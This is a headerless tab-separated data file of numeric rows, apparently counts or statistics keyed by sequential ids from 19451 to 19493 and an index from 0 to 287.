19451	3	1	0	0
19451	7	1	0	0
19451	10	1	0	0
19451	15	1	0	0
19451	16	1	0	0
19451	34	2	0	0
19451	46	1	0	0
19451	49	1	0	0
19451	50	1	0	0
19451	52	1	0	0
19451	55	1	0	0
19451	56	4	0	0
19451	62	1	0	0
19451	70	1	0	0
19451	95	1	0	0
19451	122	1	0	0
19451	162	1	0	0
19451	166	2	0	115
19451	177	1	0	0
19451	192	1	0	0
19451	197	1	0	0
19451	199	2	0	0
19451	207	1	0	0
19451	211	1	0	0
19451	212	1	0	0
19451	219	1	0	0
19451	226	1	0	0
19451	237	1	0	115
19451	245	2	0	115
19451	246	2	0	0
19451	254	1	0	0
19451	255	1	0	0
19451	270	1	0	0
19452	9	2	0	6804
19452	18	1	0	0
19452	21	1	0	0
19452	26	1	0	0
19452	27	1	0	0
19452	45	1	0	0
19452	53	1	0	0
19452	55	2	0	0
19452	56	2	0	0
19452	57	1	0	0
19452	59	1	0	0
19452	62	1	0	0
19452	85	1	0	0
19452	90	1	0	0
19452	115	1	0	0
19452	119	1	0	0
19452	123	1	0	0
19452	129	1	0	0
19452	152	1	0	0
19452	154	1	0	0
19452	160	1	0	0
19452	161	1	0	0
19452	170	1	0	0
19452	180	1	0	0
19452	181	1	0	0
19452	187	1	0	0
19452	193	1	0	0
19452	200	1	0	0
19452	201	1	0	0
19452	202	1	0	0
19452	203	1	0	0
19452	207	1	0	0
19452	211	1	0	0
19452	213	2	0	0
19452	214	1	0	0
19452	215	1	0	0
19452	227	1	0	0
19452	229	1	0	0
19452	236	1	0	0
19452	237	1	0	0
19452	241	3	0	0
19452	245	1	0	0
19452	246	1	0	0
19452	258	1	0	0
19452	271	1	0	0
19452	282	1	0	0
19452	283	1	0	0
19453	3	2	0	115
19453	15	2	0	0
19453	34	2	0	115
19453	35	2	0	115
19453	42	1	0	0
19453	43	1	0	0
19453	44	1	0	0
19453	48	1	0	0
19453	51	2	0	0
19453	55	1	0	0
19453	59	1	0	0
19453	69	1	0	0
19453	74	2	0	115
19453	75	1	0	0
19453	77	2	0	115
19453	98	2	0	0
19453	111	1	0	0
19453	112	1	0	0
19453	113	1	0	0
19453	115	1	0	0
19453	124	1	0	0
19453	139	1	0	0
19453	158	1	0	0
19453	183	1	0	0
19453	204	1	0	0
19453	216	1	0	0
19453	237	1	0	0
19453	241	1	0	0
19453	242	1	0	0
19453	251	1	0	0
19453	252	1	0	0
19453	253	1	0	0
19453	254	1	0	0
19453	255	1	0	0
19453	257	3	0	0
19453	258	1	0	0
19453	260	1	0	0
19453	263	1	0	0
19453	266	1	0	0
19453	270	1	0	0
19453	276	2	0	0
19453	279	1	0	0
19453	282	1	0	0
19453	284	1	0	0
19453	286	1	0	0
19454	9	1	0	0
19454	13	1	0	0
19454	21	2	0	115
19454	25	1	0	0
19454	31	1	0	0
19454	37	1	0	0
19454	53	1	0	0
19454	63	1	0	0
19454	77	1	0	0
19454	81	1	0	0
19454	121	1	0	0
19454	127	1	0	0
19454	137	1	0	0
19454	138	1	0	0
19454	142	1	0	0
19454	145	1	0	0
19454	146	1	0	0
19454	149	1	0	0
19454	151	1	0	0
19454	153	1	0	0
19454	154	1	0	0
19454	155	1	0	0
19454	157	1	0	0
19454	159	1	0	0
19454	160	1	0	0
19454	162	1	0	0
19454	163	2	0	0
19454	166	2	0	0
19454	169	1	0	0
19454	170	1	0	0
19454	172	1	0	0
19454	173	1	0	0
19454	176	2	0	0
19454	179	1	0	0
19454	181	1	0	0
19454	184	1	0	0
19454	185	1	0	0
19454	187	1	0	0
19454	188	1	0	0
19454	189	1	0	0
19454	191	1	0	0
19454	192	1	0	0
19454	193	2	0	0
19454	196	1	0	0
19454	198	1	0	0
19454	199	1	0	0
19454	200	1	0	0
19454	201	1	0	0
19454	204	1	0	0
19454	205	1	0	0
19454	206	1	0	0
19454	208	2	0	0
19454	209	1	0	0
19454	211	1	0	0
19454	212	1	0	0
19454	213	1	0	0
19454	215	1	0	0
19454	216	1	0	0
19454	217	1	0	0
19454	218	1	0	0
19454	219	1	0	0
19454	221	1	0	0
19454	222	1	0	0
19454	223	1	0	0
19454	225	1	0	0
19454	226	1	0	0
19454	228	1	0	0
19454	232	1	0	0
19454	234	1	0	0
19454	235	1	0	0
19454	237	1	0	0
19454	239	1	0	0
19454	241	1	0	0
19454	242	2	0	0
19454	244	2	0	0
19454	245	2	0	0
19454	247	1	0	0
19454	248	2	0	0
19454	249	1	0	0
19454	250	2	0	0
19454	251	1	0	0
19454	252	1	0	0
19454	254	1	0	0
19454	255	1	0	0
19454	258	1	0	0
19454	259	1	0	0
19454	261	1	0	0
19454	262	1	0	0
19454	263	2	0	0
19454	264	2	0	115
19454	265	1	0	0
19454	268	1	0	0
19454	269	1	0	0
19454	271	1	0	0
19454	272	1	0	0
19454	275	1	0	0
19454	276	1	0	0
19454	278	1	0	0
19454	279	1	0	0
19454	282	1	0	0
19455	5	1	0	0
19455	18	1	0	0
19455	21	1	0	0
19455	25	2	0	0
19455	29	2	0	0
19455	33	1	0	0
19455	34	1	0	0
19455	38	2	0	0
19455	42	2	0	0
19455	47	1	0	0
19455	51	2	0	0
19455	55	1	0	0
19455	59	1	0	0
19455	64	2	0	0
19455	68	3	0	0
19455	72	2	0	0
19455	77	1	0	0
19455	112	1	0	0
19455	120	1	0	0
19455	153	1	0	0
19455	179	2	0	0
19455	185	2	0	0
19455	186	1	0	0
19455	187	1	0	0
19455	193	3	0	0
19455	194	6	0	0
19455	195	2	0	0
19455	196	1	0	0
19455	201	1	0	0
19455	204	1	0	0
19455	221	2	0	0
19455	249	2	0	115
19455	256	1	0	0
19455	266	1	0	0
19455	278	1	0	0
19456	2	1	0	0
19456	21	1	0	0
19456	24	1	0	0
19456	29	1	0	0
19456	50	1	0	0
19456	66	1	0	0
19456	67	1	0	0
19456	95	5	0	0
19456	96	3	0	0
19456	97	1	0	0
19456	109	1	0	0
19456	132	1	0	0
19456	168	1	0	0
19456	169	2	0	115
19456	230	1	0	0
19456	234	1	0	0
19456	250	1	0	0
19456	255	1	0	0
19456	258	1	0	0
19456	281	1	0	0
19457	3	1	0	0
19457	13	2	0	0
19457	17	1	0	0
19457	33	1	0	0
19457	45	1	0	0
19457	48	1	0	0
19457	51	1	0	0
19457	58	2	0	0
19457	65	1	0	0
19457	77	1	0	0
19457	80	3	0	0
19457	102	1	0	0
19457	104	1	0	0
19457	110	1	0	0
19457	114	1	0	0
19457	120	1	0	0
19457	128	1	0	0
19457	133	1	0	0
19457	147	1	0	0
19457	164	1	0	0
19457	209	1	0	0
19457	214	1	0	0
19457	216	2	0	1045
19457	222	1	0	0
19457	238	1	0	0
19457	240	1	0	0
19457	262	1	0	0
19457	263	1	0	0
19457	267	1	0	0
19457	269	1	0	0
19457	272	1	0	0
19457	277	1	0	0
19458	6	1	0	0
19458	8	1	0	0
19458	23	2	0	0
19458	40	1	0	0
19458	53	1	0	0
19458	54	1	0	0
19458	67	1	0	0
19458	70	1	0	0
19458	76	1	0	0
19458	78	2	0	115
19458	93	1	0	0
19458	94	1	0	0
19458	106	2	0	0
19458	111	1	0	0
19458	112	1	0	0
19458	117	1	0	0
19458	130	1	0	0
19458	133	1	0	0
19458	134	1	0	0
19458	144	3	0	0
19458	148	1	0	0
19458	155	1	0	0
19458	203	1	0	0
19458	205	1	0	0
19458	219	1	0	0
19458	223	1	0	0
19458	234	1	0	0
19458	239	1	0	0
19458	250	1	0	0
19458	256	1	0	0
19458	271	2	0	0
19458	278	1	0	0
19458	280	1	0	0
19459	1	1	0	0
19459	4	1	0	0
19459	7	1	0	0
19459	9	1	0	0
19459	10	1	0	0
19459	29	2	0	0
19459	35	1	0	0
19459	36	2	0	0
19459	54	1	0	0
19459	57	1	0	0
19459	66	1	0	0
19459	70	1	0	0
19459	78	1	0	0
19459	79	1	0	0
19459	95	1	0	0
19459	117	1	0	0
19459	127	1	0	0
19459	147	1	0	0
19459	152	1	0	0
19459	181	1	0	0
19459	204	1	0	0
19459	213	1	0	0
19459	215	1	0	0
19459	223	1	0	0
19459	228	1	0	0
19459	232	1	0	0
19459	235	2	0	0
19459	252	1	0	0
19459	254	1	0	0
19459	255	1	0	0
19459	263	2	0	1045
19459	269	1	0	0
19459	273	1	0	0
19459	276	1	0	0
19459	282	1	0	0
19459	285	1	0	0
19460	4	4	0	0
19460	12	1	0	0
19460	29	1	0	0
19460	33	1	0	0
19460	37	1	0	0
19460	42	1	0	0
19460	51	1	0	0
19460	53	1	0	0
19460	63	1	0	0
19460	67	1	0	0
19460	69	1	0	0
19460	80	1	0	0
19460	82	2	0	0
19460	85	1	0	0
19460	99	3	0	0
19460	121	1	0	0
19460	126	1	0	0
19460	133	1	0	0
19460	136	1	0	0
19460	146	2	0	0
19460	151	3	0	0
19460	181	1	0	0
19460	182	1	0	0
19460	190	2	0	0
19460	199	1	0	0
19460	204	1	0	0
19460	206	1	0	0
19460	213	1	0	0
19460	249	1	0	0
19460	272	1	0	0
19460	280	1	0	0
19461	8	1	0	0
19461	9	1	0	0
19461	12	1	0	0
19461	14	1	0	0
19461	15	1	0	0
19461	30	1	0	0
19461	31	2	0	0
19461	32	1	0	0
19461	33	1	0	0
19461	48	1	0	0
19461	52	1	0	0
19461	54	1	0	0
19461	55	2	0	0
19461	60	1	0	0
19461	61	1	0	0
19461	71	2	0	0
19461	91	1	0	0
19461	92	1	0	0
19461	95	1	0	0
19461	96	2	0	0
19461	101	1	0	0
19461	130	1	0	0
19461	141	2	0	0
19461	155	1	0	0
19461	158	1	0	0
19461	176	1	0	0
19461	202	1	0	0
19461	205	1	0	0
19461	209	1	0	0
19461	217	1	0	0
19461	230	1	0	0
19461	240	1	0	0
19461	243	1	0	0
19461	254	1	0	0
19461	259	1	0	0
19461	261	3	0	0
19461	266	1	0	0
19462	8	3	0	115
19462	10	1	0	0
19462	12	1	0	0
19462	16	2	0	0
19462	17	1	0	0
19462	19	1	0	0
19462	20	3	0	0
19462	21	1	0	0
19462	23	1	0	0
19462	53	2	0	0
19462	71	1	0	0
19462	96	1	0	0
19462	99	3	0	0
19462	116	1	0	0
19462	120	3	0	0
19462	121	1	0	0
19462	132	1	0	0
19462	133	1	0	0
19462	140	1	0	0
19462	168	1	0	0
19462	177	2	0	0
19462	182	1	0	0
19462	193	1	0	0
19462	199	1	0	0
19462	208	1	0	0
19462	209	1	0	0
19462	213	3	0	0
19462	216	2	0	0
19462	225	1	0	0
19462	228	1	0	0
19462	240	1	0	0
19462	246	1	0	9598
19462	252	2	0	0
19462	255	1	0	0
19462	256	1	0	0
19462	266	2	0	0
19462	275	1	0	0
19463	4	1	0	0
19463	7	1	0	0
19463	33	1	0	0
19463	46	1	0	0
19463	48	1	0	0
19463	51	1	0	0
19463	54	2	0	0
19463	61	1	0	0
19463	65	1	0	0
19463	67	1	0	0
19463	70	1	0	0
19463	83	1	0	0
19463	84	2	0	115
19463	88	1	0	0
19463	107	1	0	0
19463	112	1	0	0
19463	126	1	0	0
19463	134	3	0	115
19463	140	1	0	0
19463	150	2	0	115
19463	159	2	0	115
19463	167	1	0	0
19463	175	1	0	0
19463	180	3	0	6804
19463	182	1	0	0
19463	199	2	0	0
19463	206	2	0	0
19463	207	1	0	0
19463	234	1	0	0
19463	239	3	0	0
19463	240	1	0	0
19463	250	1	0	0
19463	276	1	0	0
19464	29	1	0	0
19464	46	2	0	115
19464	56	2	0	115
19464	57	2	0	0
19464	66	1	0	0
19464	126	2	0	0
19464	130	1	0	0
19464	132	1	0	0
19464	133	1	0	0
19464	162	1	0	0
19464	178	1	0	0
19464	180	1	0	0
19464	191	1	0	0
19464	216	1	0	0
19464	228	1	0	0
19464	229	1	0	0
19464	238	2	0	2
19464	245	1	0	0
19464	246	1	0	0
19464	252	1	0	0
19464	259	1	0	0
19465	10	1	0	0
19465	18	1	0	0
19465	25	1	0	0
19465	28	1	0	0
19465	41	1	0	0
19465	43	2	0	0
19465	57	3	0	0
19465	87	1	0	0
19465	91	2	0	1045
19465	122	2	0	115
19465	131	1	0	0
19465	146	1	0	0
19465	151	1	0	0
19465	162	1	0	0
19465	177	1	0	0
19465	178	1	0	0
19465	182	1	0	0
19465	191	1	0	0
19465	208	2	0	0
19465	217	1	0	0
19465	228	1	0	0
19466	3	1	0	0
19466	22	2	0	0
19466	23	2	0	115
19466	30	1	0	0
19466	45	2	0	0
19466	53	1	0	0
19466	66	1	0	0
19466	68	1	0	0
19466	82	1	0	0
19466	88	1	0	0
19466	118	1	0	0
19466	119	2	0	115
19466	121	1	0	0
19466	155	1	0	0
19466	157	2	0	0
19466	177	1	0	0
19466	194	1	0	0
19466	199	1	0	0
19466	208	1	0	0
19466	226	1	0	0
19466	228	1	0	0
19466	234	1	0	0
19466	235	1	0	0
19466	237	1	0	0
19466	241	1	0	0
19466	242	2	0	0
19466	243	1	0	0
19466	244	1	0	0
19466	245	2	0	0
19466	247	1	0	0
19466	251	1	0	0
19466	252	1	0	0
19466	285	2	0	0
19467	0	1	0	0
19467	38	1	0	0
19467	49	2	0	115
19467	51	1	0	0
19467	55	1	0	0
19467	57	1	0	0
19467	75	1	0	0
19467	84	1	0	0
19467	90	1	0	0
19467	97	1	0	0
19467	110	2	1	76
19467	114	1	0	0
19467	135	1	0	0
19467	137	1	0	0
19467	139	1	0	0
19467	141	1	0	0
19467	200	1	0	0
19467	215	1	0	0
19467	218	1	0	0
19467	223	1	0	0
19467	239	3	0	0
19467	240	1	0	0
19467	248	1	0	0
19467	277	1	0	0
19468	1	2	0	0
19468	23	1	0	0
19468	25	1	0	0
19468	30	2	0	0
19468	40	2	0	0
19468	55	1	0	0
19468	56	1	0	0
19468	60	1	0	0
19468	72	1	0	0
19468	87	2	0	115
19468	153	1	0	0
19468	157	1	0	0
19468	192	1	0	0
19468	198	1	0	0
19468	212	1	0	0
19468	217	1	0	0
19468	223	1	0	0
19468	226	1	0	0
19468	229	2	0	0
19468	232	1	0	0
19468	251	1	0	0
19468	262	1	0	0
19468	283	1	0	0
19469	23	1	0	0
19469	43	1	0	0
19469	54	2	0	0
19469	73	1	0	0
19469	113	1	0	0
19469	146	1	0	0
19469	149	1	0	0
19469	151	1	0	0
19469	153	1	0	0
19469	180	1	0	0
19469	190	1	0	0
19469	198	1	0	0
19469	210	1	0	0
19469	236	1	0	0
19469	243	1	0	0
19469	254	1	0	0
19469	256	1	0	0
19470	8	1	0	0
19470	15	1	0	0
19470	23	1	0	0
19470	28	1	0	0
19470	31	1	0	0
19470	43	2	0	0
19470	44	1	0	0
19470	53	1	0	0
19470	65	1	0	0
19470	66	1	0	0
19470	77	2	0	0
19470	86	1	0	0
19470	110	1	0	0
19470	146	1	0	0
19470	179	1	0	0
19470	184	1	0	0
19470	190	1	0	0
19470	204	1	0	0
19470	230	1	0	0
19470	249	1	0	0
19470	261	1	0	0
19470	264	1	0	0
19470	281	1	0	0
19471	5	1	0	0
19471	6	1	0	0
19471	38	2	0	115
19471	47	1	0	0
19471	53	1	0	0
19471	83	1	0	0
19471	86	1	0	0
19471	89	1	0	0
19471	90	1	0	0
19471	92	1	0	0
19471	95	1	0	0
19471	113	1	0	0
19471	130	1	0	2
19471	133	1	0	0
19471	148	1	0	0
19471	156	1	0	0
19471	185	1	0	0
19471	210	2	0	0
19471	216	1	0	0
19471	220	1	0	0
19471	248	1	0	0
19471	259	1	0	0
19471	260	1	0	0
19471	270	1	0	0
19471	272	1	0	0
19472	7	1	0	0
19472	26	1	0	0
19472	51	1	0	0
19472	54	1	0	0
19472	77	1	0	0
19472	98	1	0	0
19472	99	1	0	0
19472	130	1	0	0
19472	135	1	0	0
19472	169	1	0	0
19472	186	1	0	0
19472	199	1	0	0
19472	200	2	0	0
19472	211	1	0	0
19472	218	1	0	0
19472	234	2	0	0
19472	244	1	0	0
19472	247	1	0	0
19472	263	1	0	0
19472	276	1	0	0
19473	7	1	0	0
19473	23	1	0	0
19473	24	1	0	0
19473	26	1	0	0
19473	46	1	0	0
19473	53	2	0	0
19473	86	2	0	115
19473	91	1	0	0
19473	113	1	0	0
19473	119	3	0	115
19473	142	1	0	0
19473	173	1	0	0
19473	177	1	0	0
19473	180	1	0	0
19473	187	1	0	0
19473	193	1	0	0
19473	206	1	0	0
19473	211	1	0	0
19473	220	1	0	0
19473	223	1	0	0
19473	238	3	1	6786
19473	274	1	0	0
19473	284	1	0	0
19474	9	1	0	0
19474	30	3	0	115
19474	52	1	0	0
19474	54	1	0	0
19474	55	1	0	0
19474	68	1	0	0
19474	106	2	0	0
19474	206	2	0	0
19474	211	1	0	0
19474	214	1	0	115
19474	221	2	0	115
19474	228	1	0	0
19474	258	1	0	0
19474	261	1	0	0
19474	262	1	0	0
19474	263	1	0	0
19474	266	1	0	0
19474	268	1	0	0
19474	269	1	0	0
19474	271	1	0	0
19474	274	1	0	0
19474	277	1	0	0
19474	279	1	0	0
19474	281	1	0	0
19474	284	1	0	0
19474	285	1	0	0
19474	287	1	0	0
19475	1	1	0	0
19475	3	1	0	0
19475	6	1	0	0
19475	7	1	0	0
19475	8	1	0	0
19475	10	1	0	0
19475	13	1	0	0
19475	15	1	0	0
19475	18	1	0	0
19475	20	1	0	0
19475	22	1	0	0
19475	25	1	0	0
19475	28	1	0	0
19475	30	1	0	0
19475	33	1	0	0
19475	35	1	0	0
19475	36	1	0	0
19475	38	1	0	0
19475	39	1	0	0
19475	41	1	0	0
19475	43	1	0	0
19475	45	1	0	0
19475	48	1	0	0
19475	50	1	0	0
19475	52	1	0	0
19475	71	1	0	0
19475	99	1	0	0
19475	108	1	0	0
19475	124	1	0	0
19475	148	1	0	416
19475	162	1	0	0
19475	164	1	0	0
19475	168	1	0	0
19475	170	1	0	0
19475	191	1	0	0
19475	203	1	0	0
19475	206	1	0	0
19475	209	1	0	0
19475	225	1	0	0
19475	244	2	0	798
19475	246	1	0	0
19475	266	1	0	0
19475	283	2	0	0
19476	13	1	0	0
19476	27	1	0	0
19476	30	2	0	416
19476	36	1	0	0
19476	79	1	0	0
19476	109	1	0	0
19476	146	1	0	0
19476	166	2	0	0
19476	169	1	0	0
19476	176	2	0	115
19476	183	1	0	0
19476	221	1	0	0
19476	235	4	0	0
19476	245	1	0	0
19476	249	1	0	0
19476	285	1	0	0
19477	3	1	0	0
19477	62	1	0	0
19477	67	2	1	0
19477	77	1	0	0
19477	81	1	0	0
19477	87	1	0	0
19477	116	1	0	0
19477	135	2	0	0
19477	136	3	0	0
19477	161	2	0	0
19477	163	1	0	0
19477	164	1	0	0
19477	184	1	0	0
19477	192	1	0	0
19477	216	1	0	0
19477	237	1	0	0
19477	246	1	1	0
19477	267	1	0	0
19478	32	2	0	0
19478	86	1	0	115
19478	90	1	0	0
19478	129	1	0	0
19478	133	1	0	0
19478	135	1	0	0
19478	152	2	0	0
19478	158	1	0	0
19478	188	1	0	0
19478	190	2	0	0
19478	203	1	0	0
19478	217	2	0	0
19478	218	3	0	0
19478	219	2	0	0
19478	220	2	0	0
19478	221	3	0	0
19478	232	1	0	0
19478	240	2	0	2
19478	247	2	0	0
19478	263	1	0	0
19478	266	1	0	0
19479	17	1	0	0
19479	24	1	0	0
19479	34	1	0	0
19479	35	1	0	0
19479	44	1	0	0
19479	47	1	0	0
19479	51	1	0	0
19479	53	1	0	115
19479	63	1	0	0
19479	71	1	0	0
19479	72	2	0	0
19479	120	1	0	0
19479	126	1	0	0
19479	157	1	0	0
19479	170	1	0	0
19479	171	1	0	0
19479	178	1	0	0
19479	179	2	0	0
19479	189	1	0	0
19479	206	1	0	0
19479	244	1	0	0
19479	265	2	0	0
19479	269	1	0	0
19480	1	3	0	0
19480	24	1	0	0
19480	34	1	0	0
19480	41	1	0	0
19480	49	1	0	0
19480	50	1	0	0
19480	59	1	0	0
19480	60	1	0	0
19480	63	1	0	0
19480	65	3	0	0
19480	70	1	0	0
19480	108	3	0	115
19480	121	1	0	0
19480	127	1	0	0
19480	134	1	0	0
19480	140	1	0	0
19480	141	1	0	0
19480	164	1	0	0
19480	187	1	0	0
19480	202	1	0	0
19480	236	2	0	0
19480	240	1	0	0
19480	263	1	0	0
19480	283	1	0	0
19480	287	2	0	115
19481	9	1	0	0
19481	13	1	0	0
19481	23	1	0	0
19481	25	2	0	1045
19481	35	3	0	0
19481	36	5	2	13572
19481	38	1	0	0
19481	44	1	0	0
19481	82	1	0	0
19481	117	1	0	0
19481	146	1	0	0
19481	160	1	0	0
19481	163	1	0	0
19481	164	1	0	0
19481	174	1	0	0
19481	180	1	0	0
19481	189	2	0	0
19481	192	1	0	0
19481	197	1	0	0
19481	201	1	0	0
19481	217	1	0	0
19481	222	1	0	0
19481	224	1	0	0
19481	250	1	0	0
19481	257	1	0	0
19481	258	1	0	0
19481	262	1	0	0
19481	265	1	0	0
19481	266	1	0	0
19481	278	1	0	0
19481	280	1	0	0
19481	281	1	0	0
19481	287	1	0	0
19482	0	1	0	0
19482	11	1	0	0
19482	12	1	0	0
19482	15	2	0	0
19482	37	1	0	0
19482	41	1	0	0
19482	50	1	0	0
19482	61	1	0	0
19482	64	1	0	0
19482	68	1	0	0
19482	75	1	0	0
19482	76	1	0	0
19482	81	1	0	0
19482	107	1	0	0
19482	117	1	0	0
19482	131	1	0	0
19482	140	1	0	0
19482	141	1	0	0
19482	155	1	0	0
19482	167	1	0	0
19482	169	1	0	0
19482	180	2	0	0
19482	187	1	0	0
19482	209	2	0	0
19482	215	1	0	0
19482	218	1	0	0
19482	272	1	0	0
19482	280	1	0	0
19483	19	1	0	0
19483	30	1	0	0
19483	43	1	0	0
19483	46	1	0	0
19483	55	1	0	0
19483	70	1	0	0
19483	74	1	0	0
19483	75	1	0	0
19483	79	1	0	0
19483	81	1	0	0
19483	84	1	0	0
19483	87	1	0	0
19483	89	3	0	115
19483	93	2	0	0
19483	97	1	0	0
19483	99	1	0	0
19483	115	1	0	0
19483	142	1	0	0
19483	143	1	0	0
19483	146	1	0	0
19483	149	1	0	0
19483	150	3	1	6786
19483	156	2	0	0
19483	171	1	0	0
19483	175	2	0	0
19483	179	1	0	0
19483	197	1	0	0
19483	199	1	0	0
19483	204	2	0	0
19483	205	1	0	0
19483	212	1	0	0
19483	239	1	0	0
19483	241	1	0	0
19483	245	1	0	0
19483	257	1	0	0
19483	263	1	0	0
19483	266	1	0	0
19483	274	1	0	0
19484	5	1	0	0
19484	20	1	0	0
19484	31	2	0	158
19484	32	1	0	0
19484	39	1	0	0
19484	41	1	0	0
19484	55	1	0	0
19484	56	1	0	0
19484	59	1	0	0
19484	73	1	0	0
19484	81	1	0	0
19484	94	1	0	0
19484	97	1	0	0
19484	98	1	0	0
19484	110	1	0	0
19484	117	1	0	0
19484	118	1	0	0
19484	120	1	0	0
19484	127	1	0	0
19484	135	1	0	0
19484	155	1	0	0
19484	160	1	0	0
19484	161	2	0	0
19484	184	3	0	115
19484	194	3	0	0
19484	195	1	0	0
19484	208	1	0	0
19484	223	1	0	0
19484	226	1	0	0
19484	229	1	0	0
19484	248	1	0	0
19484	256	1	0	0
19484	265	1	0	0
19485	5	1	0	0
19485	8	1	0	0
19485	13	1	0	0
19485	24	1	0	0
19485	35	1	0	0
19485	53	1	0	0
19485	54	1	0	0
19485	56	1	0	0
19485	57	2	0	0
19485	61	1	0	0
19485	71	2	0	0
19485	72	1	0	0
19485	79	1	0	0
19485	100	1	0	0
19485	105	1	0	0
19485	107	1	0	0
19485	145	3	0	115
19485	147	1	0	0
19485	161	1	0	0
19485	163	1	0	0
19485	165	1	0	0
19485	191	1	0	0
19485	194	1	0	0
19485	199	1	0	0
19485	201	1	0	0
19485	204	1	0	0
19485	212	1	0	0
19485	216	1	0	0
19485	220	1	0	0
19485	223	2	0	0
19485	224	1	0	0
19485	227	1	0	0
19485	259	1	0	0
19485	262	2	0	0
19485	264	1	0	0
19485	271	1	0	0
19485	277	1	0	0
19485	279	3	0	115
19485	282	1	0	0
19485	284	1	0	0
19486	0	1	0	0
19486	17	1	0	0
19486	19	2	0	0
19486	20	1	0	0
19486	22	1	0	0
19486	25	1	0	0
19486	33	1	0	0
19486	34	1	0	0
19486	36	1	0	0
19486	39	2	0	0
19486	50	1	0	0
19486	63	2	0	0
19486	67	2	0	0
19486	69	1	0	0
19486	70	1	0	0
19486	72	1	0	0
19486	75	1	0	0
19486	77	1	0	0
19486	101	1	0	0
19486	141	1	0	0
19486	143	1	0	0
19486	153	1	0	0
19486	154	1	0	0
19486	164	1	0	0
19486	178	1	0	0
19486	193	1	0	0
19486	206	1	0	0
19486	210	3	0	115
19486	211	1	0	0
19486	212	1	0	0
19486	215	5	4	27144
19486	230	2	0	115
19486	250	1	0	0
19486	262	1	0	0
19486	270	1	0	0
19486	271	1	0	0
19486	274	1	0	0
19486	276	1	0	0
19486	279	1	0	0
19486	287	1	0	0
19487	1	2	0	115
19487	7	1	0	0
19487	10	3	0	115
19487	51	1	0	0
19487	52	1	0	0
19487	53	1	0	0
19487	58	1	0	0
19487	66	1	0	0
19487	70	1	0	0
19487	71	2	1	6786
19487	77	1	0	0
19487	80	1	1	0
19487	90	1	0	0
19487	94	1	0	0
19487	99	1	0	0
19487	101	1	0	0
19487	106	1	0	0
19487	109	1	0	0
19487	123	1	0	0
19487	124	1	0	0
19487	129	1	0	0
19487	139	1	0	0
19487	141	1	0	0
19487	159	1	0	0
19487	163	1	0	0
19487	164	1	0	0
19487	167	1	0	0
19487	170	1	0	0
19487	171	1	0	0
19487	174	1	0	0
19487	177	2	0	0
19487	189	1	0	0
19487	194	1	0	0
19487	197	1	0	0
19487	216	2	0	0
19487	228	1	0	0
19487	229	1	0	0
19487	233	1	0	0
19487	234	1	0	0
19487	241	1	0	0
19487	242	1	0	0
19487	255	1	0	0
19487	262	1	0	0
19487	268	2	0	0
19487	274	1	0	0
19487	286	1	0	0
19488	2	2	0	0
19488	5	1	0	0
19488	11	1	0	0
19488	13	1	0	0
19488	21	1	0	0
19488	30	3	0	0
19488	32	1	0	0
19488	35	1	0	0
19488	42	1	0	0
19488	47	1	0	0
19488	55	1	0	0
19488	58	1	0	0
19488	60	1	0	0
19488	63	1	0	0
19488	64	1	0	0
19488	69	1	0	0
19488	84	1	0	0
19488	102	1	0	0
19488	105	1	0	0
19488	128	1	0	0
19488	138	1	0	0
19488	145	1	0	0
19488	153	1	0	0
19488	156	2	0	0
19488	157	1	0	0
19488	163	1	0	0
19488	166	1	0	0
19488	179	1	0	0
19488	184	1	0	0
19488	185	1	0	0
19488	186	1	0	0
19488	191	1	0	0
19488	198	1	0	0
19488	203	1	0	0
19488	205	2	0	0
19488	207	1	0	0
19488	209	1	0	0
19488	219	1	0	0
19488	222	1	0	0
19488	226	2	1	6786
19488	228	1	0	0
19488	253	2	0	0
19488	266	1	0	0
19488	269	1	0	0
19488	273	1	0	0
19488	276	2	0	0
19488	286	1	0	0
19489	0	1	0	0
19489	5	1	0	0
19489	12	1	0	0
19489	19	1	0	0
19489	33	1	0	0
19489	35	1	0	0
19489	41	1	0	0
19489	59	3	0	115
19489	66	1	0	0
19489	92	1	0	0
19489	94	3	0	115
19489	97	1	0	0
19489	123	1	0	0
19489	130	1	0	0
19489	140	1	0	0
19489	149	1	0	0
19489	150	1	0	0
19489	157	2	0	0
19489	161	1	0	0
19489	162	1	0	0
19489	164	1	0	0
19489	166	1	0	0
19489	176	2	0	0
19489	180	1	0	0
19489	189	1	0	0
19489	192	1	0	0
19489	198	2	0	0
19489	206	1	0	0
19489	213	4	4	18045
19489	221	1	0	0
19489	226	1	0	0
19489	233	1	0	0
19489	237	2	0	0
19489	242	1	0	0
19489	264	1	0	0
19489	274	1	0	0
19490	3	1	0	0
19490	6	2	0	115
19490	8	1	0	0
19490	25	1	0	0
19490	26	1	0	0
19490	39	1	0	0
19490	58	1	0	0
19490	66	1	0	0
19490	73	1	0	0
19490	83	2	0	0
19490	133	1	0	0
19490	134	2	0	0
19490	135	2	0	0
19490	136	2	0	0
19490	140	1	0	0
19490	158	1	0	0
19490	162	1	0	0
19490	168	1	0	0
19490	206	3	0	0
19490	208	1	0	0
19490	209	1	0	0
19490	213	1	0	0
19490	223	1	0	0
19490	227	1	0	0
19490	233	1	0	0
19490	245	1	0	0
19490	264	6	2	13652
19490	265	2	0	0
19490	277	1	0	0
19490	280	1	0	0
19491	12	1	0	0
19491	13	1	0	0
19491	24	1	0	0
19491	33	2	0	115
19491	34	1	0	0
19491	43	3	0	0
19491	44	1	0	0
19491	46	1	0	0
19491	48	1	0	0
19491	53	1	0	0
19491	62	1	0	0
19491	74	1	0	0
19491	90	1	0	0
19491	113	2	0	0
19491	116	1	0	0
19491	119	1	0	0
19491	122	1	0	0
19491	129	1	0	0
19491	131	1	0	0
19491	137	1	0	0
19491	138	1	0	0
19491	141	2	0	0
19491	151	1	0	0
19491	154	1	0	0
19491	159	2	0	0
19491	163	1	0	0
19491	170	1	0	0
19491	202	1	0	0
19491	206	1	0	0
19491	253	1	0	0
19491	258	1	0	0
19491	269	1	0	0
19492	1	1	0	0
19492	27	1	0	0
19492	37	1	0	0
19492	43	2	0	115
19492	45	1	0	0
19492	46	20	0	1410
19492	92	1	0	0
19492	94	1	0	115
19492	113	1	0	0
19492	121	1	0	0
19492	140	1	0	0
19492	155	1	0	0
19492	169	1	0	0
19492	171	3	0	115
19492	197	1	0	0
19492	198	2	0	0
19492	204	1	0	0
19492	234	1	0	0
19492	251	1	0	0
19492	257	1	0	0
19492	267	2	0	0
19492	269	1	0	0
19492	272	2	0	0
19492	276	1	0	0
19493	12	1	0	0
19493	32	2	0	0
19493	46	20	0	1410
19493	48	1	0	0
19493	59	2	0	0
19493	71	1	0	0
19493	82	5	0	115
19493	103	1	0	0
19493	116	1	0	0
19493	123	1	0	0
19493	141	2	0	0
19493	160	1	0	0
19493	198	2	0	115
